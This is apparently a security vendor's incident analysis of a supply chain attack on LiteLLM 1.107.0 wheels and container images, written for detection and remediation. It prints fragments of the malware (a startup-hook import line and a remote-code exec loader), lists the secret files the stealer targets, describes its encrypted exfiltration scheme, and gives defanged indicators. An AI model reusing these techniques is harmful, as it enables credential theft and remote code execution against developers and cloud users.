LiteLLM PyPI Package and Docker Images Compromised to Steal Cloud and AI Credentials

A supply chain attack compromised LiteLLM 1.107.0 on PyPI and Docker, spreading malware that steals cloud credentials, developer secrets, and AI provider keys.

  • Socket Research Team
    Socket Research Team
9 min read
LiteLLM PyPI Package and Docker Images Compromised to Steal Cloud and AI Credentials

LiteLLM 1.107.0 delivers a credential stealer through Python startup hooks, while container build provenance points to a lookalike source repository used by the project’s release workflow.

LiteLLM version 1.107.0 contains malicious Python startup files that collect cloud credentials, private keys, browser data, and authentication files for AI development tools. Socket’s AI scanner flagged the seven distributed wheels seven minutes after publication, and static analysis confirms both a credential stealer and a loader capable of executing remotely supplied Python. Once the files are installed, a normal Python startup can activate them without the application importing LiteLLM.

The incident also reaches container users. Upwind’s public investigation reports the same payload in a published LiteLLM image. Examination of the image’s attached build provenance confirms that the release workflow recorded a source repository named Berri-AI/litellm, differing by one hyphen from the legitimate BerriAI/litellm project.

Socket’s AI Scanner flagging the malicious version of litellm package.

Socket’s AI Scanner flagging the malicious version of litellm package.

Affected Releases

LiteLLM provides a common interface and proxy for large language model providers. It receives approximately 23M weekly downloads. A compromised installation can therefore run alongside provider API keys, cloud identities, and database connection strings. Teams using 1.107.0 should stop deploying it and investigate environments where Python ran after installation, including proxy containers and CI runners.

The Release Workflow Recorded a Lookalike Repository

The strongest evidence for the delivery path is in the container registry. The provenance attached to the Linux amd64 image identifies the private BerriAI/project-releaser workflow, run 39587059944, and source revision 20535d8fa11f786a6c24df7488a0e449ed5f09ad. Its recorded dispatch inputs explicitly select the hyphenated source owner:

JSON
{
  "git_ref": "20535d8fa11f786a6c24df7488a0e449ed5f09ad",
  "release_type": "stable",
  "repo": "litellm",
  "source_owner": "Berri-AI"
}

The same document records vcs:source as https://github.com/Berri-AI/litellm. By comparison, the provenance for v1.106.2 records the legitimate BerriAI/litellm source. The malicious build started at 10:51:23 UTC on October 21, 2026, and finished at 11:06:31 UTC. These values come from the registry’s attached provenance documents, independently retrieved during this investigation.

The referenced revision contains cook/purelib/cook.pth, cook/purelib/cook.py, and cook/purelib/sitecustomize.py. All three files match the inspected PyPI wheel byte for byte. This connects the source revision recorded in the container build to the malware delivered in that wheel.

A commit at 09:48:21 UTC adds one setting to the Maturin build configuration:

 [tool.maturin]
 manifest-path = "litellm-rust/crates/python-bridge/Cargo.toml"
 module-name = "litellm.rust_bridge._native"
 python-source = "."
+data = "cook"
 python-packages = ["litellm_cli"]

That setting supplies the data directory containing the startup payloads. A later commit at 10:46:29 UTC adds COPY cook ./cook to the backend, gateway, and migrations Dockerfiles, making the malicious directory available in their build stages. The tagged release’s pyproject.toml lacks the added data setting. Reviewing the tag alone would therefore miss this packaging change.

The available evidence establishes what source the container build recorded and how the payload was included. It does not establish how the source-owner override was authorized, whether an account or token was compromised, or whether that same workflow uploaded the PyPI wheels. The public run URL returned 404; its private job logs were not available. The provenance is useful evidence of recorded build inputs, not proof that those inputs were trustworthy or an independently verified signature on every claim it contains.

PyPI Wheels and Floating Container Tags Extend the Exposure

Upwind’s original report also identifies all seven 1.107.0 wheels across macOS, Linux, and Windows as affected. It also reports a modified source distribution whose build configuration contains data = "cook", although that archive does not contain the three payload files.

Socket’s saved artifact response records publication at 11:39:51 UTC and malware alerts at 11:46:30 UTC on October 21. At approximately 13:14 UTC, independent registry checks found that ghcr.io/berriai/litellm tags v1.107.0, latest, main-latest, and main-stable all resolved to the same image index. Deployments following a floating tag could therefore receive the affected release without explicitly selecting 1.107.0.

Upwind additionally reports affected litellm-database and litellm-non_root images on GHCR and litellm/litellm on Docker Hub. Its update distinguishes direct file verification in the main amd64 image from the other builds sharing the malicious source revision. Those additional image payloads were not independently extracted for this draft.

Python Starts the Malware Before LiteLLM Is Imported

The wheels carry entry points outside the main litellm/ directory:

litellm-1.107.0.data/purelib/cook.pth
litellm-1.107.0.data/purelib/cook.py
litellm-1.107.0.data/purelib/sitecustomize.py

The wheel installation format places these files in the environment’s Python library directory. During normal startup, Python processes executable .pth lines and then attempts to import sitecustomize, as documented in its site initialization behavior.

The complete contents of cook.pth are just:

Python
import cook

That line launches the credential collector. sitecustomize.py provides a second startup entry point for the background loader. The trigger matters operationally: starting Python or pip in an affected environment to inspect or repair the installation can execute the payload again. Downloading the wheel or inspecting its ZIP contents as data does not execute these hooks.

Both Python files embed Base64-encoded, zlib-compressed source. Static decoding recovered nearly identical collectors, approximately 61 KB each. The cook.py wrapper starts its collector in a daemon thread and sets PRIVCOLLECT_ACTIVE=1 to suppress duplicate collection in the same inherited environment. After an upload receives HTTP 200, it attempts to create /tmp/.pc_once_72129118c59f5636c0bb, which suppresses subsequent collection for that variant.

A short-lived interpreter can exit before the collection thread finishes. Conversely, an absent marker does not clear a host: failed uploads, temporary-directory cleanup, or container replacement can all leave no marker behind.

The Collector Reaches Beyond Provider API Keys

The decoded payload, which uses the identifier privcollect, enables 16 collection modules. Each module runs behind its own error handler, allowing collection to continue when another target is unavailable.

The targets span several credential boundaries:

  • Cloud and deployment access: AWS, Azure, Google Cloud, Kubernetes, Docker, GitHub CLI, Vault, Terraform, Packer, CI configuration, and container-mounted secrets.
  • Developer accounts and private keys: Git credentials, npm and PyPI configuration, .netrc, .env files, SSH keys, GPG private keys, and TLS private keys.
  • AI tooling: Codex’s ~/.codex/auth.json, Claude’s ~/.claude/.credentials.json, Gemini’s ~/.gemini/oauth_creds.json, and Cursor’s ~/.cursor/mcp.json, alongside configuration for Copilot, Windsurf, Kiro, Zed, Continue, OpenCode, and Hugging Face.
  • Browser and workstation data: Chromium login, cookie, Web Data, and history databases; Firefox login and key databases; shell and application histories; host and network information.
  • Runtime credentials: Nonempty environment variables, other readable processes’ environments on Linux, AWS instance and task credentials, and Google Cloud service-account tokens. The code also requests Azure instance metadata and can validate AWS credentials with STS GetCallerIdentity.

One module specifically targets LiteLLM deployments with DATABASE_URL configured. Its Prisma child program attempts these queries:

SQL
SELECT "credential_name", "credential_values"
FROM "LiteLLM_CredentialsTable" LIMIT 500;

SELECT "model_name", "litellm_params"
FROM "LiteLLM_ProxyModelTable" LIMIT 500;

This is explicit targeting of the proxy’s saved credentials and model configuration. It does not demonstrate successful access to a particular deployment or decryption of every returned credential value.

The inspected macOS artifact also has platform limits. Its database module attempts Linux /proc inspection before launching the child, which fails on ordinary macOS installations. Its Chromium password routine does not recover plaintext v10/v11 passwords on macOS, although it still copies sensitive browser databases. Other modules, including AI-tool files and the current process’s environment, remain applicable. The configuration value PC_TARGET='linux' is an output label, not a check that restricts execution to Linux.

Stolen Data Leaves in an Encrypted Archive

The collector encrypts its JSON results with a randomly generated AES-256-CBC key, then wraps that key with an embedded RSA-4096 public key using OAEP. It packages the results into a gzip-compressed tar archive containing hdr.json, data.bin, and key.bin.

The archive is POSTed to hxxp://www[.]litellm[.]dev/healthcheck. Despite the URL’s health-check wording, the request body contains the encrypted collection results. The request includes an X-SHA256 body checksum, Content-Type: application/octet-stream, and the fixed header X-Token: XWiA8gZNa7NcX2XRoAEb. The implementation makes up to four attempts, with a 120-second timeout per request.

This endpoint is an exfiltration destination. The collector checks the response status and does not execute the response body. Remote code delivery uses a separate path.

A GitHub File Controls the Remote Python Loader

sitecustomize.py obtains a lock on /tmp/remote_code_loader.lock, forks a detached process, redirects its standard streams to /dev/null, and changes its working directory to /. The process repeatedly retrieves domain.txt from the letters9813/pythonclient-test GitHub repository.

When the file supplies a suitable domain that resolves, the loader reaches its embedded collector and downloads Python from http://<domain>/codepy. The execution function compiles the response and runs it in a thread-pool worker:

Python
async def exec_code(code):
    loop = asyncio.get_running_loop()
    await loop.run_in_executor(
        _executor,
        lambda: exec(
            compile(code, "<remote>", "exec"),
            {"__name__": "__main__"},
        ),
    )

There is no signature or content-hash verification. The outer loop catches failures and waits 3,600 seconds after each cycle before trying again. The startup files can relaunch this background process on later interpreter starts; removing the LiteLLM package directory alone does not remove those files or stop an existing process.

At 13:01:44 UTC on October 21, the GitHub pointer returned HTTP 200 with an empty body. That response prevents the loader from reaching its download stage. It does not disable the independent cook.pth collector, and a later change to the mutable pointer could supply a destination.

The two embedded collectors also share PRIVCOLLECT_ACTIVE. Under normal startup ordering, cook.pth sets it before sitecustomize forks, so the child skips duplicate collection while retaining its remote-execution path. The hourly loop therefore should not be interpreted as guaranteed hourly exfiltration. Historical pointer contents were localhost:18909 and test[.]test[.]com:18909; neither is established here as an operational command server.

Contain Affected Environments and Review the Release Boundary

For LiteLLM Users and Operators

  • Block litellm==1.107.0 and stop deploying affected image tags or digests. Check lockfiles, caches, build logs, container layers, and running image digests, including deployments that used floating tags.
  • If Python ran after installation, isolate the affected host or container and treat secrets readable by that process as potentially exposed. Preserve useful process, filesystem, and network evidence before rebuilding.
  • Inspect the environment using trusted tooling. Avoid starting its Python or pip executable as the first remediation step. Rebuilding from a reviewed artifact also avoids leaving top-level startup files or their bytecode behind.
  • Revoke and replace exposed credentials from a clean environment, including cloud sessions, provider keys, developer-tool sessions, registry tokens, SSH keys, and database credentials as applicable. Removing the package does not reverse credential exposure or terminate an already-running loader.
  • Use a reviewed release and pin container digests during recovery. Upwind recommends 1.106.2; this investigation did not certify every earlier artifact as clean.

For Maintainers and Release Engineers

  • Audit release run 39587059944, its dispatch permissions, and the origin of the source_owner override. Review publishing and registry credentials available to the workflow.
  • Restrict release builds to approved repository identities and reviewed revisions. Check both the source owner and commit before allowing a build to use publishing permissions.
  • Compare the published distributions with the intended source, including wheel data directories and executable Python startup files. Validate provenance against an expected source and builder policy; the existence of provenance alone does not make a build trustworthy.
  • Keep release credentials separate from dependency installation and testing, and minimize the secrets available to those processes.

For Security Teams

  • Hunt for the payload hashes below and correlate them with Python execution, the loader lock file, and the upload marker. sitecustomize.py can be legitimate, so its filename alone is insufficient.
  • Search egress logs for the exact /healthcheck destination, the GitHub repository path, and subsequent /codepy requests. Scope GitHub controls to the relevant path rather than blocking its shared hosting domain indiscriminately.
  • Review cloud, identity-provider, repository, and registry audit logs for use of exposed credentials. An empty loader pointer or missing local marker is insufficient to rule out the independent collector.

MITRE ATT&CK

  • T1195.001 - Compromise Software Dependencies and Development Tools
  • T1546.018 - Python Startup Hooks
  • T1027.013 - Encrypted/Encoded File
  • T1140 - Deobfuscate/Decode Files or Information
  • T1552.001 - Credentials In Files
  • T1552.004 - Private Keys
  • T1552.005 - Cloud Instance Metadata API
  • T1555.003 - Credentials from Web Browsers
  • T1105 - Ingress Tool Transfer

Indicators of Compromise (IOCs)

Package and Payload Hashes

Packages

pypi/litellm@1.107.0

Wheel Files

  • litellm-1.107.0-cp310-abi3-macosx_10_12_x86_64.whl
    • 7598727f209d717041db37f7dca271d3a7d328a279890e0e1d55375729aeb86d
  • litellm-1.107.0-cp310-abi3-macosx_11_0_arm64.whl
    • 0aaf7ba346d41ef2f40390436738b001180d5a1c03aa093f121078a9969d9a1a
  • litellm-1.107.0-cp310-abi3-manylinux_2_28_aarch64.whl
    • 668169d35b87bf51324080390b1b1c5ab12bd335cfe5f1a99e3689abd5e02ae6
  • litellm-1.107.0-cp310-abi3-manylinux_2_28_x86_64.whl
    • 462d0c9f67ca522d9e0e4acd245e90b36ce0d5353604a66bb7c43a1ec4a6fcf7
  • litellm-1.107.0-cp310-abi3-musllinux_1_2_aarch64.whl
    • c2e32d0ce2548aa662c18bf5001911a79fe5b30cf8357132275add02fdcde054
  • litellm-1.107.0-cp310-abi3-musllinux_1_2_x86_64.whl
    • 1bbce8caa94f01c0aaa0b7ddae51553a8a32e1ce53d96d44fe583272aff7ad00
  • litellm-1.107.0-cp310-abi3-win_amd64.whl
    • 12d4ccc5c6f8d35cf4f2cf233b7f3e418e863e657d81ff5f5fc9e210005b9484

Python Files

  • cook.pth
    • 7f191632e7320705d154b85204f1ae546b543acbd7e8861229b76f5042b92bdb
    • 84dc8c82c0a4a4a62552ef826b49fcc86d1a5c4a5d0f2c06665723f93d129d7d
  • cook.py
    • 9dd0a3926f96a37eb86cf1ee2310d9be93139cc4ebef3ef9e2efe9531390be25
    • 03ac2a8b752605d1d7710979c17ff18b03dd978203ba23ba97fd8ce3d6f897ea
  • sitecustomize.py
    • 34bef04fe88ac9d0aae0475630b1738681d15b94f233ac8aa46eacf5968305fa
    • b6122440d0d9cb1eb1ade9933f49214da8c31288de7710c076c2680dfa528465

Container Images

  • ghcr.io/berriai/litellm:v1.107.0, also resolved by latest, main-latest, and main-stable at the observation time.
  • Image index: sha256:1bbcb1443bc962e45f5aad53fe3d2c30600e0379715fb6c664cdd3ac126c339e
  • Linux amd64 manifest: sha256:bd1aeee419ea36da9aa2b657288da4101887be468f020ac63d22ba6ed84a3ea5
  • Linux arm64 manifest: sha256:56b74573eed6e4aafe4b50603dbe7853e0345f188c8e44a09f1098caf1f4bcdf
  • Additional reported images: ghcr.io/berriai/litellm-database:v1.107.0, ghcr.io/berriai/litellm-non_root:v1.107.0, and docker.io/litellm/litellm:v1.107.0

Network and Repository Indicators

  • Exfiltration: hxxp://www[.]litellm[.]dev/healthcheck
  • Loader pointer: hxxps://raw[.]githubusercontent[.]com/letters9813/pythonclient-test/main/domain.txt
  • Upload header: X-Token: XWiA8gZNa7NcX2XRoAEb
  • Lookalike source repository recorded in provenance: hxxps://github[.]com/Berri-AI/litellm.
  • Recorded source revision: 20535d8fa11f786a6c24df7488a0e449ed5f09ad
  • Commit adding the Maturin data directory: 783c43bc455d2e05d3cfaf194c2f325cfeab1433

Encryption Key

  • RSA-4096 public-key fingerprint, SHA-256 of DER SubjectPublicKeyInfo: a898fd08ad220fed52488906eb45d196f332b972ad5d85214e7726545ecc4218
Stay ahead of threats

Subscribe to our newsletter

Get notified when we publish new security blog posts!